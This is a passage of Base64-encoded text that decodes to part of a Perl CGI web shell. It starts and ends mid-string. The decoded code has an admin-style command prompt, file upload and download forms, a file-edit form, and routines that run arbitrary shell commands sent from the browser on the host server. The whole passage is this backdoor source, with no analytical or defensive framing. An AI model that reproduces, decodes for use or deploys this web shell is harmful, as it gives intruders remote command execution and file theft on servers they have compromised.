B2YWx1ZT0iJEN1cnJlbnREaXIiPg0KJFByb21wdA0KPGlucHV0IHR5cGU9InRleHQiIHNpemU9IjUwIiBuYW1lPSJjIj4NCjxpbnB1dCBjbGFzcz0ic3VibWl0InR5cGU9InN1Ym1pdCIgdmFsdWU9IkVudGVyIj4NCjwvZm9ybT4NCkVORA0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgSFRNTCBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIGRvd25sb2FkIGZpbGVzDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRGaWxlRG93bmxvYWRGb3JtDQp7DQoJbXkgJGRpciA9ICZBZGRMaW5rRGlyKCJkb3dubG9hZCIpOyANCgkkUHJvbXB0ID0gJFdpbk5UID8gIiRkaXIgPiAiIDogIlthZG1pblxAJFNlcnZlck5hbWUgJGRpcl1cJCAiOw0KCXJldHVybiA8PEVORDsNCjxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZCIgdmFsdWU9IiRDdXJyZW50RGlyIj4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJkb3dubG9hZCI%2BDQokUHJvbXB0IGRvd25sb2FkPGJyPjxicj4NCkZpbGVuYW1lOiA8aW5wdXQgY2xhc3M9ImZpbGUiIHR5cGU9InRleHQiIG5hbWU9ImYiIHNpemU9IjM1Ij48YnI%2BPGJyPg0KRG93bmxvYWQ6IDxpbnB1dCBjbGFzcz0ic3VibWl0IiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJCZWdpbiI%2BDQoNCjwvZm9ybT4NCkVORA0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgSFRNTCBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIHVwbG9hZCBmaWxlcw0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFByaW50RmlsZVVwbG9hZEZvcm0NCnsNCglteSAkZGlyPSAmQWRkTGlua0RpcigidXBsb2FkIik7DQoJJFByb21wdCA9ICRXaW5OVCA%2FICIkZGlyID4gIiA6ICJbYWRtaW5cQCRTZXJ2ZXJOYW1lICRkaXJdXCQgIjsNCglyZXR1cm4gPDxFTkQ7DQo8Zm9ybSBuYW1lPSJmIiBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4NCiRQcm9tcHQgdXBsb2FkPGJyPjxicj4NCkZpbGVuYW1lOiA8aW5wdXQgY2xhc3M9ImZpbGUiIHR5cGU9ImZpbGUiIG5hbWU9ImYiIHNpemU9IjM1Ij48YnI%2BPGJyPg0KT3B0aW9uczogJm5ic3A7PGlucHV0IHR5cGU9ImNoZWNrYm94IiBuYW1lPSJvIiBpZD0idXAiIHZhbHVlPSJvdmVyd3JpdGUiPg0KPGxhYmVsIGZvcj0idXAiPk92ZXJ3cml0ZSBpZiBpdCBFeGlzdHM8L2xhYmVsPjxicj48YnI%2BDQpVcGxvYWQ6Jm5ic3A7Jm5ic3A7Jm5ic3A7PGlucHV0IGNsYXNzPSJzdWJtaXQiIHR5cGU9InN1Ym1pdCIgdmFsdWU9IkJlZ2luIj4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImQiIHZhbHVlPSIkQ3VycmVudERpciI%2BDQo8aW5wdXQgY2xhc3M9InN1Ym1pdCIgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0idXBsb2FkIj4NCg0KPC9mb3JtPg0KDQpFTkQNCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB3aGVuIHRoZSB0aW1lb3V0IGZvciBhIGNvbW1hbmQgZXhwaXJlcy4gV2UgbmVlZCB0bw0KIyB0ZXJtaW5hdGUgdGhlIHNjcmlwdCBpbW1lZGlhdGVseS4gVGhpcyBmdW5jdGlvbiBpcyB2YWxpZCBvbmx5IG9uIFVuaXguIEl0IGlzDQojIG5ldmVyIGNhbGxlZCB3aGVuIHRoZSBzY3JpcHQgaXMgcnVubmluZyBvbiBOVC4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBDb21tYW5kVGltZW91dA0Kew0KCWlmKCEkV2luTlQpDQoJew0KCQlhbGFybSgwKTsNCgkJcmV0dXJuIDw8RU5EOw0KPC90ZXh0YXJlYT4NCjxicj48Zm9udCBjb2xvcj15ZWxsb3c%2BDQpDb21tYW5kIGV4Y2VlZGVkIG1heGltdW0gdGltZSBvZiAkQ29tbWFuZFRpbWVvdXREdXJhdGlvbiBzZWNvbmQocykuPC9mb250Pg0KPGJyPjxmb250IHNpemU9JzYnIGNvbG9yPXJlZD5LaWxsZWQgaXQhPC9mb250Pg0KRU5EDQoJfQ0KfQ0KDQoNCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBUaGlzIGZ1bmN0aW9uIGRpc3BsYXlzIHRoZSBwYWdlIHRoYXQgY29udGFpbnMgYSBsaW5rIHdoaWNoIGFsbG93cyB0aGUgdXNlcg0KIyB0byBkb3dubG9hZCB0aGUgc3BlY2lmaWVkIGZpbGUuIFRoZSBwYWdlIGFsc28gY29udGFpbnMgYSBhdXRvLXJlZnJlc2gNCiMgZmVhdHVyZSB0aGF0IHN0YXJ0cyB0aGUgZG93bmxvYWQgYXV0b21hdGljYWxseS4NCiMgQXJndW1lbnQgMTogRnVsbHkgcXVhbGlmaWVkIGZpbGVuYW1lIG9mIHRoZSBmaWxlIHRvIGJlIGRvd25sb2FkZWQNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludERvd25sb2FkTGlua1BhZ2UNCnsNCglsb2NhbCgkRmlsZVVybCkgPSBAXzsNCglteSAkcmVzdWx0PSIiOw0KCWlmKC1lICRGaWxlVXJsKSAjIGlmIHRoZSBmaWxlIGV4aXN0cw0KCXsNCgkJIyBlbmNvZGUgdGhlIGZpbGUgbGluayBzbyB3ZSBjYW4gc2VuZCBpdCB0byB0aGUgYnJvd3Nlcg0KCQkkRmlsZVVybCA9fiBzLyhbXmEtekEtWjAtOV0pLyclJy51bnBhY2soIkgqIiwkMSkvZWc7DQoJCSREb3dubG9hZExpbmsgPSAiJFNjcmlwdExvY2F0aW9uP2E9ZG93bmxvYWQmZj0kRmlsZVVybCZvPWdvIjsNCgkJJEh0bWxNZXRhSGVhZGVyID0gIjxtZXRhIEhUVFAtRVFVSVY9XCJSZWZyZXNoXCIgQ09OVEVOVD1cIjE7IFVSTD0kRG93bmxvYWRMaW5rXCI%2BIjsNCgkJJlByaW50UGFnZUhlYWRlcigiYyIpOw0KCQkkcmVzdWx0IC49IDw8RU5EOw0KU2VuZGluZyBGaWxlICRUcmFuc2ZlckZpbGUuLi48YnI%2BDQoNCklmIHRoZSBkb3dubG9hZCBkb2VzIG5vdCBzdGFydCBhdXRvbWF0aWNhbGx5LA0KPGEgaHJlZj0iJERvd25sb2FkTGluayI%2BQ2xpY2sgSGVyZTwvYT4NCkVORA0KCQkkcmVzdWx0IC49ICZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOw0KCX0NCgllbHNlICMgZmlsZSBkb2Vzbid0IGV4aXN0DQoJew0KCQkkcmVzdWx0IC49ICJGYWlsZWQgdG8gZG93bmxvYWQgJEZpbGVVcmw6ICQhIjsNCgkJJHJlc3VsdCAuPSAmUHJpbnRGaWxlRG93bmxvYWRGb3JtOw0KCX0NCglyZXR1cm4gJHJlc3VsdDsNCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBUaGlzIGZ1bmN0aW9uIHJlYWRzIHRoZSBzcGVjaWZpZWQgZmlsZSBmcm9tIHRoZSBkaXNrIGFuZCBzZW5kcyBpdCB0byB0aGUNCiMgYnJvd3Nlciwgc28gdGhhdCBpdCBjYW4gYmUgZG93bmxvYWRlZCBieSB0aGUgdXNlci4NCiMgQXJndW1lbnQgMTogRnVsbHkgcXVhbGlmaWVkIHBhdGhuYW1lIG9mIHRoZSBmaWxlIHRvIGJlIHNlbnQuDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgU2VuZEZpbGVUb0Jyb3dzZXINCnsNCglteSAkcmVzdWx0ID0gIiI7DQoJbG9jYWwoJFNlbmRGaWxlKSA9IEBfOw0KCWlmKG9wZW4oU0VOREZJTEUsICRTZW5kRmlsZSkpICMgZmlsZSBvcGVuZWQgZm9yIHJlYWRpbmcNCgl7DQoJCWlmKCRXaW5OVCkNCgkJew0KCQkJYmlubW9kZShTRU5ERklMRSk7DQoJCQliaW5tb2RlKFNURE9VVCk7DQoJCX0NCgkJJEZpbGVTaXplID0gKHN0YXQoJFNlbmRGaWxlKSlbN107DQoJCSgkRmlsZW5hbWUgPSAkU2VuZEZpbGUpID1%2BICBtIShbXi9eXFxdKikkITsNCgkJcHJpbnQgIkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24veC11bmtub3duXG4iOw0KCQlwcmludCAiQ29udGVudC1MZW5ndGg6ICRGaWxlU2l6ZVxuIjsNCgkJcHJpbnQgIkNvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPSQxXG5cbiI7DQoJCXByaW50IHdoaWxlKDxTRU5ERklMRT4pOw0KCQljbG9zZShTRU5ERklMRSk7DQoJCWV4aXQoMSk7DQoJfQ0KCWVsc2UgIyBmYWlsZWQgdG8gb3BlbiBmaWxlDQoJew0KCQkkcmVzdWx0IC49ICJGYWlsZWQgdG8gZG93bmxvYWQgJFNlbmRGaWxlOiAkISI7DQoJCSRyZXN1bHQgLj0mUHJpbnRGaWxlRG93bmxvYWRGb3JtOw0KCX0NCglyZXR1cm4gJHJlc3VsdDsNCn0NCg0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHdoZW4gdGhlIHVzZXIgZG93bmxvYWRzIGEgZmlsZS4gSXQgZGlzcGxheXMgYSBtZXNzYWdlDQojIHRvIHRoZSB1c2VyIGFuZCBwcm92aWRlcyBhIGxpbmsgdGhyb3VnaCB3aGljaCB0aGUgZmlsZSBjYW4gYmUgZG93bmxvYWRlZC4NCiMgVGhpcyBmdW5jdGlvbiBpcyBhbHNvIGNhbGxlZCB3aGVuIHRoZSB1c2VyIGNsaWNrcyBvbiB0aGF0IGxpbmsuIEluIHRoaXMgY2FzZSwNCiMgdGhlIGZpbGUgaXMgcmVhZCBhbmQgc2VudCB0byB0aGUgYnJvd3Nlci4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBCZWdpbkRvd25sb2FkDQp7DQoJIyBnZXQgZnVsbHkgcXVhbGlmaWVkIHBhdGggb2YgdGhlIGZpbGUgdG8gYmUgZG93bmxvYWRlZA0KCWlmKCgkV2luTlQgJiAoJFRyYW5zZmVyRmlsZSA9fiBtL15cXHxeLjovKSkgfA0KCQkoISRXaW5OVCAmICgkVHJhbnNmZXJGaWxlID1%2BIG0vXlwvLykpKSAjIHBhdGggaXMgYWJzb2x1dGUNCgl7DQoJCSRUYXJnZXRGaWxlID0gJFRyYW5zZmVyRmlsZTsNCgl9DQoJZWxzZSAjIHBhdGggaXMgcmVsYXRpdmUNCgl7DQoJCWNob3AoJFRhcmdldEZpbGUpIGlmKCRUYXJnZXRGaWxlID0gJEN1cnJlbnREaXIpID1%2BIG0vW1xcXC9dJC87DQoJCSRUYXJnZXRGaWxlIC49ICRQYXRoU2VwLiRUcmFuc2ZlckZpbGU7DQoJfQ0KDQoJaWYoJE9wdGlvbnMgZXEgImdvIikgIyB3ZSBoYXZlIHRvIHNlbmQgdGhlIGZpbGUNCgl7DQoJCSZTZW5kRmlsZVRvQnJvd3NlcigkVGFyZ2V0RmlsZSk7DQoJfQ0KCWVsc2UgIyB3ZSBoYXZlIHRvIHNlbmQgb25seSB0aGUgbGluayBwYWdlDQoJew0KCQkmUHJpbnREb3dubG9hZExpbmtQYWdlKCRUYXJnZXRGaWxlKTsNCgl9DQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdXNlciB3YW50cyB0byB1cGxvYWQgYSBmaWxlLiBJZiB0aGUNCiMgZmlsZSBpcyBub3Qgc3BlY2lmaWVkLCBpdCBkaXNwbGF5cyBhIGZvcm0gYWxsb3dpbmcgdGhlIHVzZXIgdG8gc3BlY2lmeSBhDQojIGZpbGUsIG90aGVyd2lzZSBpdCBzdGFydHMgdGhlIHVwbG9hZCBwcm9jZXNzLg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFVwbG9hZEZpbGUNCnsNCgkjIGlmIG5vIGZpbGUgaXMgc3BlY2lmaWVkLCBwcmludCB0aGUgdXBsb2FkIGZvcm0gYWdhaW4NCglpZigkVHJhbnNmZXJGaWxlIGVxICIiKQ0KCXsNCgkJcmV0dXJuICZQcmludEZpbGVVcGxvYWRGb3JtOw0KDQoJfQ0KCW15ICRyZXN1bHQ9IiI7DQoJIyBzdGFydCB0aGUgdXBsb2FkaW5nIHByb2Nlc3MNCgkkcmVzdWx0IC49ICJVcGxvYWRpbmcgJFRyYW5zZmVyRmlsZSB0byAkQ3VycmVudERpci4uLjxicj4iOw0KDQoJIyBnZXQgdGhlIGZ1bGxseSBxdWFsaWZpZWQgcGF0aG5hbWUgb2YgdGhlIGZpbGUgdG8gYmUgY3JlYXRlZA0KCWNob3AoJFRhcmdldE5hbWUpIGlmICgkVGFyZ2V0TmFtZSA9ICRDdXJyZW50RGlyKSA9fiBtL1tcXFwvXSQvOw0KCSRUcmFuc2ZlckZpbGUgPX4gbSEoW14vXlxcXSopJCE7DQoJJFRhcmdldE5hbWUgLj0gJFBhdGhTZXAuJDE7DQoNCgkkVGFyZ2V0RmlsZVNpemUgPSBsZW5ndGgoJGlueydmaWxlZGF0YSd9KTsNCgkjIGlmIHRoZSBmaWxlIGV4aXN0cyBhbmQgd2UgYXJlIG5vdCBzdXBwb3NlZCB0byBvdmVyd3JpdGUgaXQNCglpZigtZSAkVGFyZ2V0TmFtZSAmJiAkT3B0aW9ucyBuZSAib3ZlcndyaXRlIikNCgl7DQoJCSRyZXN1bHQgLj0gIkZhaWxlZDogRGVzdGluYXRpb24gZmlsZSBhbHJlYWR5IGV4aXN0cy48YnI%2BIjsNCgl9DQoJZWxzZSAjIGZpbGUgaXMgbm90IHByZXNlbnQNCgl7DQoJCWlmKG9wZW4oVVBMT0FERklMRSwgIj4kVGFyZ2V0TmFtZSIpKQ0KCQl7DQoJCQliaW5tb2RlKFVQTE9BREZJTEUpIGlmICRXaW5OVDsNCgkJCXByaW50IFVQTE9BREZJTEUgJGlueydmaWxlZGF0YSd9Ow0KCQkJY2xvc2UoVVBMT0FERklMRSk7DQoJCQkkcmVzdWx0IC49ICJUcmFuc2ZlcmVkICRUYXJnZXRGaWxlU2l6ZSBCeXRlcy48YnI%2BIjsNCgkJCSRyZXN1bHQgLj0gIkZpbGUgUGF0aDogJFRhcmdldE5hbWU8YnI%2BIjsNCgkJfQ0KCQllbHNlDQoJCXsNCgkJCSRyZXN1bHQgLj0gIkZhaWxlZDogJCE8YnI%2BIjsNCgkJfQ0KCX0NCgkkcmVzdWx0IC49ICZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOw0KCXJldHVybiAkcmVzdWx0Ow0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHdoZW4gdGhlIHVzZXIgd2FudHMgdG8gZG93bmxvYWQgYSBmaWxlLiBJZiB0aGUNCiMgZmlsZW5hbWUgaXMgbm90IHNwZWNpZmllZCwgaXQgZGlzcGxheXMgYSBmb3JtIGFsbG93aW5nIHRoZSB1c2VyIHRvIHNwZWNpZnkgYQ0KIyBmaWxlLCBvdGhlcndpc2UgaXQgZGlzcGxheXMgYSBtZXNzYWdlIHRvIHRoZSB1c2VyIGFuZCBwcm92aWRlcyBhIGxpbmsNCiMgdGhyb3VnaCAgd2hpY2ggdGhlIGZpbGUgY2FuIGJlIGRvd25sb2FkZWQuDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgRG93bmxvYWRGaWxlDQp7DQoJIyBpZiBubyBmaWxlIGlzIHNwZWNpZmllZCwgcHJpbnQgdGhlIGRvd25sb2FkIGZvcm0gYWdhaW4NCglpZigkVHJhbnNmZXJGaWxlIGVxICIiKQ0KCXsNCgkJJlByaW50UGFnZUhlYWRlcigiZiIpOw0KCQlyZXR1cm4gJlByaW50RmlsZURvd25sb2FkRm9ybTsNCgl9DQoJDQoJIyBnZXQgZnVsbHkgcXVhbGlmaWVkIHBhdGggb2YgdGhlIGZpbGUgdG8gYmUgZG93bmxvYWRlZA0KCWlmKCgkV2luTlQgJiAoJFRyYW5zZmVyRmlsZSA9fiBtL15cXHxeLjovKSkgfCAoISRXaW5OVCAmICgkVHJhbnNmZXJGaWxlID1%2BIG0vXlwvLykpKSAjIHBhdGggaXMgYWJzb2x1dGUNCgl7DQoJCSRUYXJnZXRGaWxlID0gJFRyYW5zZmVyRmlsZTsNCgl9DQoJZWxzZSAjIHBhdGggaXMgcmVsYXRpdmUNCgl7DQoJCWNob3AoJFRhcmdldEZpbGUpIGlmKCRUYXJnZXRGaWxlID0gJEN1cnJlbnREaXIpID1%2BIG0vW1xcXC9dJC87DQoJCSRUYXJnZXRGaWxlIC49ICRQYXRoU2VwLiRUcmFuc2ZlckZpbGU7DQoJfQ0KDQoJaWYoJE9wdGlvbnMgZXEgImdvIikgIyB3ZSBoYXZlIHRvIHNlbmQgdGhlIGZpbGUNCgl7DQoJCXJldHVybiAmU2VuZEZpbGVUb0Jyb3dzZXIoJFRhcmdldEZpbGUpOw0KCX0NCgllbHNlICMgd2UgaGF2ZSB0byBzZW5kIG9ubHkgdGhlIGxpbmsgcGFnZQ0KCXsNCgkJcmV0dXJuICZQcmludERvd25sb2FkTGlua1BhZ2UoJFRhcmdldEZpbGUpOw0KCX0NCn0NCg0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHRvIGV4ZWN1dGUgY29tbWFuZHMuIEl0IGRpc3BsYXlzIHRoZSBvdXRwdXQgb2YgdGhlDQojIGNvbW1hbmQgYW5kIGFsbG93cyB0aGUgdXNlciB0byBlbnRlciBhbm90aGVyIGNvbW1hbmQuIFRoZSBjaGFuZ2UgZGlyZWN0b3J5DQojIGNvbW1hbmQgaXMgaGFuZGxlZCBkaWZmZXJlbnRseS4gSW4gdGhpcyBjYXNlLCB0aGUgbmV3IGRpcmVjdG9yeSBpcyBzdG9yZWQgaW4NCiMgYW4gaW50ZXJuYWwgdmFyaWFibGUgYW5kIGlzIHVzZWQgZWFjaCB0aW1lIGEgY29tbWFuZCBoYXMgdG8gYmUgZXhlY3V0ZWQuIFRoZQ0KIyBvdXRwdXQgb2YgdGhlIGNoYW5nZSBkaXJlY3RvcnkgY29tbWFuZCBpcyBub3QgZGlzcGxheWVkIHRvIHRoZSB1c2Vycw0KIyB0aGVyZWZvcmUgZXJyb3IgbWVzc2FnZXMgY2Fubm90IGJlIGRpc3BsYXllZC4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBFeGVjdXRlQ29tbWFuZA0Kew0KCW15ICRyZXN1bHQ9IiI7DQoJaWYoJFJ1bkNvbW1hbmQgPX4gbS9eXHMqY2RccysoLispLykgIyBpdCBpcyBhIGNoYW5nZSBkaXIgY29tbWFuZA0KCXsNCgkJIyB3ZSBjaGFuZ2UgdGhlIGRpcmVjdG9yeSBpbnRlcm5hbGx5LiBUaGUgb3V0cHV0IG9mIHRoZQ0KCQkjIGNvbW1hbmQgaXMgbm90IGRpc3BsYXllZC4NCgkJJENvbW1hbmQgPSAiY2QgXCIkQ3VycmVudERpclwiIi4kQ21kU2VwLiJjZCAkMSIuJENtZFNlcC4kQ21kUHdkOw0KCQljaG9wKCRDdXJyZW50RGlyID0gYCRDb21tYW5kYCk7DQoJCSRyZXN1bHQgLj0gJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07DQoNCgkJJHJlc3VsdCAuPSAiQ29tbWFuZDogPHJ1bj4kUnVuQ29tbWFuZCA8L3J1bj48YnI%2BPHRleHRhcmVhIGNvbHM9JyRjb2xzJyByb3dzPSckcm93cycgc3BlbGxjaGVjaz0nZmFsc2UnPiI7DQoJCSMgeHVhdCB0aG9uZyB0aW4ga2hpIGNodXllbiBkZW4gMSB0aHUgbXVjIG5hbyBkbyENCgkJJFJ1bkNvbW1hbmQ9ICRXaW5OVD8iZGlyIjoiZGlyIC1saWEiOw0KCQkkcmVzdWx0IC49ICZSdW5DbWQ7DQoJfWVsc2lmKCRSdW5Db21tYW5kID1%2BIG0vXlxzKmVkaXRccysoLispLykNCgl7DQoJCSRyZXN1bHQgLj0gICZTYXZlRmlsZUZvcm07DQoJfWVsc2UNCgl7DQoJCSRyZXN1bHQgLj0gJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07DQoJCSRyZXN1bHQgLj0gIkNvbW1hbmQ6IDxydW4%2BJFJ1bkNvbW1hbmQ8L3J1bj48YnI%2BPHRleHRhcmVhIGlkPSdkYXRhJyBjb2xzPSckY29scycgcm93cz0nJHJvd3MnIHNwZWxsY2hlY2s9J2ZhbHNlJz4iOw0KCQkkcmVzdWx0IC49JlJ1bkNtZDsNCgl9DQoJJHJlc3VsdCAuPSAgIjwvdGV4dGFyZWE%2BIjsNCglyZXR1cm4gJHJlc3VsdDsNCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBydW4gY29tbWFuZA0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KDQpzdWIgUnVuQ21kDQp7DQoJbXkgJHJlc3VsdD0iIjsNCgkkQ29tbWFuZCA9ICJjZCBcIiRDdXJyZW50RGlyXCIiLiRDbWRTZXAuJFJ1bkNvbW1hbmQuJFJlZGlyZWN0b3I7DQoJaWYoISRXaW5OVCkNCgl7DQoJCSRTSUd7J0FMUk0nfSA9IFwmQ29tbWFuZFRpbWVvdXQ7DQoJCWFsYXJtKCRDb21tYW5kVGltZW91dER1cmF0aW9uKTsNCgl9DQoJaWYoJFNob3dEeW5hbWljT3V0cHV0KSAjIHNob3cgb3V0cHV0IGFzIGl0IGlzIGdlbmVyYXRlZA0KCXsNCgkJJHw9MTsNCgkJJENvbW1hbmQgLj0gIiB8IjsNCgkJb3BlbihDb21tYW5kT3V0cHV0LCAkQ29tbWFuZCk7DQoJCXdoaWxlKDxDb21tYW5kT3V0cHV0PikNCgkJew0KCQkJJF8gPX4gcy8oXG58XHJcbikkLy87DQoJCQkkcmVzdWx0IC49ICZIdG1sU3BlY2lhbENoYXJzKCIkX1xuIik7DQoJCX0NCgkJJHw9MDsNCgl9DQoJZWxzZSAjIHNob3cgb3V0cHV0IGFmdGVyIGNvbW1hbmQgY29tcGxldGVzDQoJew0KCQkkcmVzdWx0IC49ICZIdG1sU3BlY2lhbENoYXJzKCckQ29tbWFuZCcpOw0KCX0NCglpZighJFdpbk5UKQ0KCXsNCgkJYWxhcm0oMCk7DQoJfQ0KCXJldHVybiAkcmVzdWx0Ow0KfQ0KIz09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQ0KIyBGb3JtIFNhdmUgRmlsZSANCiM9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0NCnN1YiBTYXZlRmlsZUZvcm0NCnsNCglteSAkcmVzdWx0ID0iIjsNCglzdWJzdHIoJFJ1bkNvbW1hbmQsMCw1KT0iIjsNCglteSAkZmlsZT0mdHJpbSgkUnVuQ29tbWFuZCk7DQoJJHNhdmU9Jzxicj48aW5wdXQgbmFtZT0iYSIgdHlwZT0ic3VibWl0IiB2YWx1ZT0ic2F2ZSIgY2xhc3M9InN1Ym1pdCIgPic7DQoJJEZpbGU9JEN1cnJlbnREaXIuJFBhdGhTZXAuJFJ1bkNvbW1hbmQ7DQoJbXkgJGRpcj0iPHNwYW4gc3R5bGU9J2ZvbnQ6IDExcHQgVmVyZGFuYTsgZm9udC13ZWlnaHQ6IGJvbGQ7Jz4iLiZBZGRMaW5rRGlyKCJndWkiKS4iPC9zcGFuPiI7DQoJaWYoLXcgJEZpbGUpDQoJew0KCQkkcm93cz0iMjMiDQoJfWVsc2UNCgl7DQoJCSRtc2c9Ijxicj48Zm9udCBzdHlsZT0nZm9udDogMTVwdCBWZXJkYW5hOyBjb2xvcjogeWVsbG93OycgPiBQZXJtaXNzaW9uIGRlbmllZCE8Zm9udD48YnI%2BIjsNCgkJJHJvd3M9IjIwIg0KCX0NCgkkUHJvbXB0ID0gJFdpbk5UID8gIiRkaXIgPiAiIDogIjxmb250IGNvbG9yPScjRkZGRkZGJz5bYWRtaW5cQCRTZXJ2ZXJOYW1lICRkaXJdXCQ8L2ZvbnQ%2BICI7DQoJJHJlYWQ9KCRXaW5OVCk%2FInR5cGUiOiJsZXNzIjsNCgkkUnVuQ29tbWFuZCA9ICIkcmVhZCBcIiRSdW5Db21tYW5kXCIiOw0KCSRyZXN1bHQgLj0gIDw8RU5EOw0KCTxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPg0KDQoJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZCIgdmFsdWU9IiRDdXJyZW50RGlyIj4NCgkkUHJvbXB0DQoJPGlucHV0IHR5cGU9InRleHQiIHNpemU9IjQwIiBuYW1lPSJjIj4NCgk8aW5wdXQgbmFtZT0icyIgY2xhc3M9InN1Ym1pdCIgdHlwZT0ic3VibWl0IiB2YWx1ZT0iRW50ZXIiPg0KCTxicj5Db21tYW5kOiA8cnVuPiAkUnVuQ29tbWFuZCA8L3J1bj4NCgk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJmaWxlIiB2YWx1ZT0iJGZpb